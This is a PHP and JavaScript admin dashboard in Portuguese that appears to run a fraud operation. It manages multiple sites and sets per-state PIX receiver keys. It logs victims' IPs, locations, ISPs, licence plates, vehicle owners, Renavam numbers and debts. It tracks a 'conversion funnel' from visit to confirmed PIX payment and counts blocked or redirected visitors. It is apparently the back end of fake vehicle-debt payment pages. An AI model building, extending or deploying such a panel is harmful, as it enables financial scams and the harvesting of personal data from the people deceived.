<?php
/**
 * Dashboard NEXUS v4.0 - Full Responsive + Export
 */
session_start();
require_once __DIR__ . '/config/database.php';

spl_autoload_register(function ($class) {
    $nsMap = ['Core\\' => __DIR__ . '/api/core/', 'Middleware\\' => __DIR__ . '/api/middleware/', 'Controllers\\' => __DIR__ . '/api/controllers/'];
    foreach ($nsMap as $ns => $dir) {
        if (strpos($class, $ns) === 0) {
            $rel = substr($class, strlen($ns));
            $file = $dir . str_replace('\\', '/', $rel) . '.php';
            if (file_exists($file)) { require_once $file; return true; }
        }
    }
    return false;
});

use Middleware\Auth;
$user = Auth::getUser();
if (!$user) { header('Location: index.php'); exit; }
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Nexus - Central de Inteligência</title>
    <link rel="icon" type="image/png" href="/logo.png">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=Inter:wght@300;400;600&display=swap" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.tailwindcss.com"></script>
    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <style>
        :root { --accent-cyan: #00e5ff; --bg-dark: #05070a; --card-bg: rgba(10, 16, 26, 0.95); --border-color: rgba(0, 229, 255, 0.2); }
        body { background-color: var(--bg-dark); color: #fff; font-family: "Inter", sans-serif; min-height: 100vh; margin: 0; overflow-x: hidden; }
        .font-orbitron { font-family: "Orbitron", sans-serif; }
        
        /* Sidebar Responsive Logic */
        .sidebar { width: 260px; background: rgba(10, 16, 26, 0.98); border-right: 1px solid var(--border-color); position: fixed; height: 100%; z-index: 2000; transition: transform 0.3s ease; }
        .main { margin-left: 260px; padding: 20px; transition: margin-left 0.3s ease; }
        
        @media (max-width: 992px) {
            .sidebar { transform: translateX(-100%); }
            .sidebar.open { transform: translateX(0); }
            .main { margin-left: 0; }
            .topbar { flex-wrap: wrap; gap: 15px; }
        }

        .menu-link { display: flex; align-items: center; gap: 12px; padding: 12px 20px; color: #94a3b8; border-radius: 12px; margin: 4px 15px; transition: 0.3s; text-decoration: none !important; cursor: pointer; border-left: 3px solid transparent; }
        .menu-link:hover, .menu-link.active { background: rgba(0, 229, 255, 0.1); color: var(--accent-cyan); border-left: 3px solid var(--accent-cyan); }
        
        .topbar { background: var(--card-bg); border: 1px solid var(--border-color); border-radius: 15px; padding: 12px 20px; margin-bottom: 25px; display: flex; justify-content: space-between; align-items: center; backdrop-filter: blur(10px); }
        .nexus-card { background: var(--card-bg); border: 1px solid var(--border-color); border-radius: 20px; padding: 20px; box-shadow: 0 10px 30px rgba(0,0,0,0.5); }
        .stat-card { padding: 15px; border-radius: 15px; border: 1px solid var(--border-color); background: rgba(10,16,26,0.6); text-align: center; }
        
        .nav-tabs { border: none !important; margin-bottom: 20px; display: flex; overflow-x: auto; flex-wrap: nowrap; -webkit-overflow-scrolling: touch; }
        .nav-link { white-space: nowrap; color: #64748b; font-family: 'Orbitron'; font-size: 10px; border: none !important; }
        .nav-link.active { color: var(--accent-cyan) !important; background: rgba(0, 229, 255, 0.1) !important; border-radius: 8px; }

        .nexus-table { width: 100%; color: #fff; }
        .nexus-table th { padding: 12px; color: var(--accent-cyan); font-family: 'Orbitron'; font-size: 9px; text-transform: uppercase; border-bottom: 1px solid var(--border-color); }
        .nexus-table td { padding: 12px; background: rgba(255,255,255,0.02); font-size: 12px; border-bottom: 1px solid rgba(255,255,255,0.05); }

        #space-bg { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; background: radial-gradient(circle at 50% 50%, #0a192f 0%, #05070a 100%); }
        .star { position: absolute; background: white; border-radius: 50%; opacity: 0.3; }
        
        .btn-nexus { padding: 8px 16px; border-radius: 10px; font-family: 'Orbitron'; font-size: 10px; font-weight: bold; transition: 0.3s; display: inline-flex; align-items: center; gap: 8px; }
        .btn-clear { border: 1px solid #ef4444; color: #ef4444; background: #ef444410; }
        .btn-clear:hover { background: #ef4444; color: #fff; }
        .btn-export { border: 1px solid #10b981; color: #10b981; background: #10b98110; }
        .btn-export:hover { background: #10b981; color: #fff; }
        
        .page-content { display: none; }
        .page-content.active { display: block; }
        .mobile-toggle { display: none; font-size: 24px; color: var(--accent-cyan); cursor: pointer; }
        @media (max-width: 992px) { .mobile-toggle { display: block; } }
    </style>
</head>
<body>
    <div id="space-bg"></div>
    
    <!-- SIDEBAR -->
    <aside class="sidebar" id="sidebar">
        <div class="p-6 text-center border-b border-white/5">
            <img src="/logo.png" class="h-12 mx-auto mb-3">
            <div class="font-orbitron text-[9px] text-cyan-400 font-bold uppercase tracking-tighter">Central Nexus</div>
        </div>
        <div class="mt-4">
            <a onclick="App.showPage('dashboard')" class="menu-link active" data-page="dashboard"><i class="fas fa-home"></i> Dashboard</a>
            <a onclick="App.showPage('sites')" class="menu-link" data-page="sites"><i class="fas fa-globe"></i> Sites</a>
            <a onclick="App.showPage('pix')" class="menu-link" data-page="pix"><i class="fas fa-qrcode"></i> Config PIX</a>
            <a onclick="App.showPage('users')" class="menu-link" data-page="users"><i class="fas fa-users"></i> Usuários</a>
            <a href="logout.php" class="menu-link text-red-400 mt-10"><i class="fas fa-power-off"></i> Sair</a>
        </div>
    </aside>

    <main class="main">
        <header class="topbar">
            <div class="flex items-center gap-3">
                <div class="mobile-toggle" onclick="App.toggleSidebar()"><i class="fas fa-bars"></i></div>
                <div class="font-orbitron text-[9px] text-slate-400 uppercase hidden sm:block">Fuso: <span id="server-time">00:00</span></div>
            </div>
            <div class="flex items-center gap-3">
                <button class="btn-nexus btn-clear" onclick="TabManager.clearAll()"><i class="fas fa-trash"></i> <span class="hidden md:inline">LIMPAR</span></button>
                <button class="btn-nexus btn-export" onclick="TabManager.export()"><i class="fas fa-file-export"></i> <span class="hidden md:inline">EXPORTAR</span></button>
                <div class="w-px h-6 bg-white/10 mx-2"></div>
                <img src="https://ui-avatars.com/api/?name=<?php echo $user['username']; ?>&background=00e5ff&color=000" class="w-8 h-8 rounded-lg border border-cyan-500/30">
            </div>
        </header>

        <!-- PÁGINAS -->
        <div id="page-dashboard" class="page-content active">
            <div class="grid grid-cols-2 md:grid-cols-5 gap-4 mb-6">
                <div class="stat-card" onclick="TabManager.switch('visits')"><div class="text-[8px] text-slate-500 font-orbitron uppercase">Visitas</div><div class="text-xl font-bold font-orbitron" id="stat-visits">0</div></div>
                <div class="stat-card" onclick="TabManager.switch('consultas')"><div class="text-[8px] text-slate-500 font-orbitron uppercase">Consultas</div><div class="text-xl font-bold font-orbitron text-blue-400" id="stat-consultas">0</div></div>
                <div class="stat-card" onclick="TabManager.switch('pix_gen')"><div class="text-[8px] text-slate-500 font-orbitron uppercase">Gerados</div><div class="text-xl font-bold font-orbitron text-purple-400" id="stat-pix-gen">0</div></div>
                <div class="stat-card" onclick="TabManager.switch('pix_confirm')"><div class="text-[8px] text-slate-500 font-orbitron uppercase">Pagos</div><div class="text-xl font-bold font-orbitron text-green-400" id="stat-pix-value">R$ 0</div></div>
                <div class="stat-card border-red-500/30" onclick="TabManager.switch('blocked')"><div class="text-[8px] text-red-500/70 font-orbitron uppercase">Bloqueados/Redir</div><div class="text-xl font-bold font-orbitron text-red-500" id="stat-blocked">0</div></div>
            </div>

            <div class="nexus-card">
                <ul class="nav nav-tabs">
                    <li><button class="nav-link active" onclick="TabManager.switch('visits', this)">Visitas</button></li>
                    <li><button class="nav-link" onclick="TabManager.switch('consultas', this)">Consultas</button></li>
                    <li><button class="nav-link" onclick="TabManager.switch('pix_gen', this)">PIX Gerados</button></li>
                    <li><button class="nav-link" onclick="TabManager.switch('pix_confirm', this)">Pagos</button></li>
                    <li><button class="nav-link" onclick="TabManager.switch('blocked', this)">Bloqueados</button></li>
                </ul>
                <div class="table-responsive"><table class="nexus-table"><thead id="table-head"></thead><tbody id="table-body"></tbody></table></div>
            </div>
        </div>

        <div id="page-sites" class="page-content">
            <div class="nexus-card">
                <div class="flex justify-between items-center mb-4"><h6 class="font-orbitron text-cyan-400">Sites</h6><button class="btn btn-primary btn-sm text-[10px]" data-bs-toggle="modal" data-bs-target="#modal-new-site">NOVO</button></div>
                <div class="table-responsive"><table class="table text-white"><thead><tr><th>Nome</th><th>Status</th><th>Ações</th></tr></thead><tbody id="sites-table-body"></tbody></table></div>
            </div>
        </div>

        <div id="page-pix" class="page-content">
            <div class="nexus-card">
                <h6 class="font-orbitron text-cyan-400 mb-4">Configuração PIX</h6>
                <select id="pix-site-selector" class="form-select form-select-sm bg-dark text-white mb-4" onchange="PIX.onSiteChange(this.value)"></select>
                <form id="pix-config-form" class="hidden">
                    <div class="row g-3">
                        <div class="col-6"><label class="text-[10px] uppercase opacity-50">Estado</label><select id="pix-state" class="form-select"></select></div>
                        <div class="col-6"><label class="text-[10px] uppercase opacity-50">Nome</label><input type="text" id="pix-receiver-name" class="form-control"></div>
                        <div class="col-12"><label class="text-[10px] uppercase opacity-50">Chave</label><input type="text" id="pix-key" class="form-control font-mono text-xs"></div>
                        <button type="submit" class="btn btn-primary w-100 mt-3">Salvar</button>
                    </div>
                </form>
            </div>
        </div>

        <div id="page-users" class="page-content">
            <div class="nexus-card">
                <h6 class="font-orbitron text-cyan-400 mb-4">Usuários</h6>
                <div class="table-responsive"><table class="table text-white"><tbody id="users-table-body"></tbody></table></div>
            </div>
        </div>
    </main>

    <!-- Modal Dossiê Detalhado -->
    <div class="modal fade" id="modal-details" tabindex="-1"><div class="modal-dialog modal-fullscreen-sm-down modal-lg"><div class="modal-content nexus-card" id="modal-details-body" style="padding:0"></div></div></div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
    <script src="assets/js/api.js"></script>
    <script src="assets/js/auth.js"></script>
    <script src="assets/js/sites.js"></script>
    <script src="assets/js/users.js"></script>
    <script src="assets/js/pix.js"></script>
    
    <script>
        const App = {
            currentData: [],
            toggleSidebar() { $('#sidebar').toggleClass('open'); },
            showPage(pageId) {
                $('.page-content').removeClass('active'); $('#page-' + pageId).addClass('active');
                $('.menu-link').removeClass('active'); $(`.menu-link[data-page="${pageId}"]`).addClass('active');
                $('#sidebar').removeClass('open');
                if(pageId === 'dashboard') TabManager.load();
                if(pageId === 'sites') Sites.load(true);
                if(pageId === 'users') Users.load(true);
                if(pageId === 'pix') PIX.updateSiteSelector();
            }
        };

        const TabManager = {
            current: 'visits',
            switch(type, el) {
                if(el) { $('.nav-link').removeClass('active'); $(el).addClass('active'); }
                this.current = type; this.load();
            },
            async load() {
                $('#table-body').html('<tr><td colspan="10" class="text-center py-10 opacity-50">Sincronizando...</td></tr>');
                const res = await Api.get(`list-data&type=${this.current}`);
                App.currentData = res.data || [];
                this.render(App.currentData);
            },
            render(data) {
                const head = $('#table-head'); const body = $('#table-body');
                if (this.current === 'visits') {
                    head.html('<tr><th>Site</th><th>IP</th><th>Device</th><th>Local</th><th>Data/Hora</th><th>Ações</th></tr>');
                    body.html(data.map(i => {
                        const countBadge = i.ip_visit_count > 1 ? `<span class="badge bg-danger ms-1" title="${i.ip_visit_count} visitas deste IP">${i.ip_visit_count}</span>` : '';
                        const date = new Date(i.visit_at || i.created_at).toLocaleString('pt-BR');
                        return `<tr>
                            <td><span class="text-cyan-400 font-bold">${i.site_name}</span>${countBadge}</td>
                            <td class="font-mono text-[10px]">${i.ip_address}</td>
                            <td><i class="fas fa-${i.device === 'Mobile' ? 'mobile-screen' : 'desktop'}"></i></td>
                            <td class="text-[10px]">${i.geo_city || '-'}/${i.geo_state || '-'}</td>
                            <td class="text-[10px]">${date}</td>
                            <td><button onclick="View.details(${i.id})" class="text-info"><i class="fas fa-search-plus"></i></button></td>
                        </tr>`;
                    }).join(''));
                } else {
                    head.html('<tr><th>Site</th><th>Placa</th><th>Total Déb</th><th>PIX</th><th>Data/Hora</th><th>Ações</th></tr>');
                    body.html(data.map(i => {
                        const date = new Date(i.query_at || i.updated_at).toLocaleString('pt-BR');
                        return `<tr>
                            <td><span class="text-xs opacity-50">${i.site_name}</span></td>
                            <td><b>${i.placa||'-'}</b></td>
                            <td class="text-[11px]">${Format.brl(i.total_debitos)}</td>
                            <td class="text-warning font-bold text-[11px]">${Format.brl(i.valor)}</td>
                            <td class="text-[10px]">${date}</td>
                            <td><button onclick="View.details(${i.id})" class="text-info"><i class="fas fa-eye" title="Ver dados completos"></i></button></td>
                        </tr>`;
                    }).join(''));
                }
            },
            async clearAll() {
                const { isConfirmed } = await Swal.fire({ title: 'Limpar Tudo?', text: 'Isso apagará permanentemente todos os registros.', icon: 'warning', showCancelButton: true, confirmButtonText: 'LIMPAR', confirmButtonColor: '#ef4444', background: '#0a101a', color: '#fff' });
                if (isConfirmed) { await Api.post('clear-logs'); this.load(); this.refreshStats(); Swal.fire('Limpo!', '', 'success'); }
            },
            async refreshStats() {
                const res = await Api.get('dashboard'); const s = res.data.summary;
                $('#stat-visits').text(s.visits_today || 0); $('#stat-consultas').text(s.consultas_today || 0);
                $('#stat-pix-gen').text(s.pix_today || 0); $('#stat-pix-value').text(Format.brl(s.pix_value_today));
                $('#stat-blocked').text((parseInt(s.blocked_today)||0) + (parseInt(s.redirected_today)||0));
                $('#server-time').text(new Date().toLocaleTimeString('pt-BR', {hour:'2-digit', minute:'2-digit'}));
            },
            export() {
                if (!App.currentData.length) return Swal.fire('Sem dados', 'Não há nada para exportar nesta aba.', 'info');
                let csv = 'Site,Data,IP,Placa,ValorTotal,ValorPIX,Local\n';
                App.currentData.forEach(i => {
                    csv += `"${i.site_name}","${i.visit_at || i.created_at}","${i.ip_address}","${i.placa || '-'}","${i.total_debitos || 0}","${i.valor || 0}","${i.geo_city}"\n`;
                });
                const blob = new Blob([csv], { type: 'text/csv;charset=utf-8;' });
                const link = document.createElement("a");
                link.href = URL.createObjectURL(blob); link.setAttribute("download", `nexus_export_${this.current}.csv`);
                document.body.appendChild(link); link.click(); document.body.removeChild(link);
            }
        };

        const View = {
            async details(id) {
                const res = await Api.get(`get-consulta&id=${id}`);
                const c = res.data; 
                const meta = typeof c.metadata === 'string' ? JSON.parse(c.metadata) : (c.metadata || {});
                
                const history = [
                    { l: 'Visita', t: c.visit_at },
                    { l: 'Consulta', t: c.query_at },
                    { l: 'Gerou PIX', t: c.pix_gen_at },
                    { l: 'Copiou', t: c.pix_copy_at },
                    { l: 'Confirmou', t: c.confirm_at }
                ];

                // Extração de dados do veículo do metadata
                const v = meta.veiculo || meta.veiculo_dados || meta.vehicle || {};
                const debts = meta.extrato || meta.debitos || meta.debts || [];

                let html = `
                    <div class="modal-header border-b border-white/5 p-4">
                        <h5 class="modal-title font-orbitron text-cyan-400 text-sm">Dossiê: ${c.placa || 'Visitante'} [${c.site_name}]</h5>
                        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
                    </div>
                    <div class="modal-body p-4">
                        <div class="row g-4">
                            <!-- Coluna 1: Conexão e Veículo -->
                            <div class="col-md-6">
                                <h6 class="text-cyan-400 font-orbitron text-[10px] uppercase mb-3">Informações Técnicas</h6>
                                <div class="bg-black/20 p-3 rounded mb-4">
                                    <p class="text-[11px] mb-1"><b>IP:</b> ${c.ip_address}</p>
                                    <p class="text-[11px] mb-1"><b>Local:</b> ${c.geo_city || '-'} / ${meta.regionName || meta.region || '-'}</p>
                                    <p class="text-[11px] mb-1"><b>Provedor:</b> ${meta.isp || '-'}</p>
                                    <p class="text-[9px] text-slate-400 mt-2 break-all">${c.user_agent}</p>
                                </div>

                                <h6 class="text-cyan-400 font-orbitron text-[10px] uppercase mb-3">Dados do Veículo</h6>
                                <div class="bg-blue-900/10 p-3 rounded border border-blue-500/20">
                                    <p class="text-[11px] mb-1"><b>Proprietário:</b> ${c.proprietario || v.proprietario || v.nome || '-'}</p>
                                    <p class="text-[11px] mb-1"><b>Modelo:</b> ${c.modelo || v.model || v.marcaModelo || '-'}</p>
                                    <p class="text-[11px] mb-1"><b>Renavam:</b> ${c.renavam || v.renavam || '-'}</p>
                                    <p class="text-[11px] mb-1"><b>Cor:</b> ${v.color || v.cor || '-'}</p>
                                    <p class="text-[11px] mb-1"><b>Ano:</b> ${v.year || v.anoFabricacao || '-'}</p>
                                </div>
                            </div>

                            <!-- Coluna 2: Timeline e Débitos -->
                            <div class="col-md-6 border-l border-white/5">
                                <h6 class="text-cyan-400 font-orbitron text-[10px] uppercase mb-3">Funil de Conversão</h6>
                                <div class="ps-3 border-l-2 border-white/10 ms-2 mb-4">
                                    ${history.map(h => `
                                        <div class="mb-3 position-relative">
                                            <span class="position-absolute start-0 translate-middle p-1 rounded-circle ${h.t ? 'bg-cyan-400 shadow-[0_0_5px_#00e5ff]' : 'bg-slate-800'}" style="left: -13px !important; margin-top: 5px"></span>
                                            <div class="text-[10px] font-bold ${h.t ? 'text-white' : 'text-slate-600'} uppercase">${h.l}</div>
                                            <div class="text-[9px] font-mono text-slate-500">${h.t ? new Date(h.t).toLocaleString('pt-BR') : 'Pendente'}</div>
                                        </div>
                                    `).join('')}
                                </div>

                                <h6 class="text-cyan-400 font-orbitron text-[10px] uppercase mb-3">Extrato de Débitos</h6>
                                <div class="table-responsive" style="max-height: 200px; overflow-y: auto;">
                                    <table class="table table-sm table-dark text-[10px] mb-0">
                                        <thead><tr><th>Descrição</th><th class="text-end">Valor</th></tr></thead>
                                        <tbody>
                                            ${debts.length > 0 ? debts.map(d => `
                                                <tr>
                                                    <td class="opacity-70">${d.description || d.title || d.descricao}</td>
                                                    <td class="text-end font-mono">R$ ${parseFloat(d.amount || d.valor || 0).toLocaleString('pt-BR', { minimumFractionDigits: 2 })}</td>
                                                </tr>
                                            `).join('') : '<tr><td colspan="2" class="text-center opacity-50">Nenhum débito detalhado</td></tr>'}
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="modal-footer border-t border-white/5 p-3">
                        <div class="w-100 flex justify-between items-center">
                            <div class="flex gap-4">
                                <div>
                                    <span class="text-[10px] text-slate-500 uppercase">Dívida Total:</span>
                                    <span class="text-white font-bold ml-2">${Format.brl(c.total_debitos)}</span>
                                </div>
                                <div class="border-l border-white/10 pl-4">
                                    <span class="text-[10px] text-slate-500 uppercase">Valor PIX:</span>
                                    <span class="text-cyan-400 font-bold ml-2">${Format.brl(c.valor)}</span>
                                </div>
                            </div>
                            <button type="button" class="btn btn-sm btn-outline-secondary text-[10px]" data-bs-modal="dismiss" onclick="$('#modal-details').modal('hide')">FECHAR</button>
                        </div>
                    </div>
                `;
                $('#modal-details-body').html(html); 
                new bootstrap.Modal('#modal-details').show();
            }
        };

        $(document).ready(() => { 
            TabManager.refreshStats(); TabManager.load(); setInterval(() => TabManager.refreshStats(), 15000); 
            const space = document.getElementById("space-bg");
            for (let i = 0; i < 60; i++) {
                const star = document.createElement("div"); star.className = "star";
                star.style.left = Math.random() * 100 + "%"; star.style.top = Math.random() * 100 + "%";
                star.style.width = (Math.random() * 2 + 1) + "px"; star.style.height = star.style.width;
                space.appendChild(star);
            }
        });
    </script>
</body>
</html>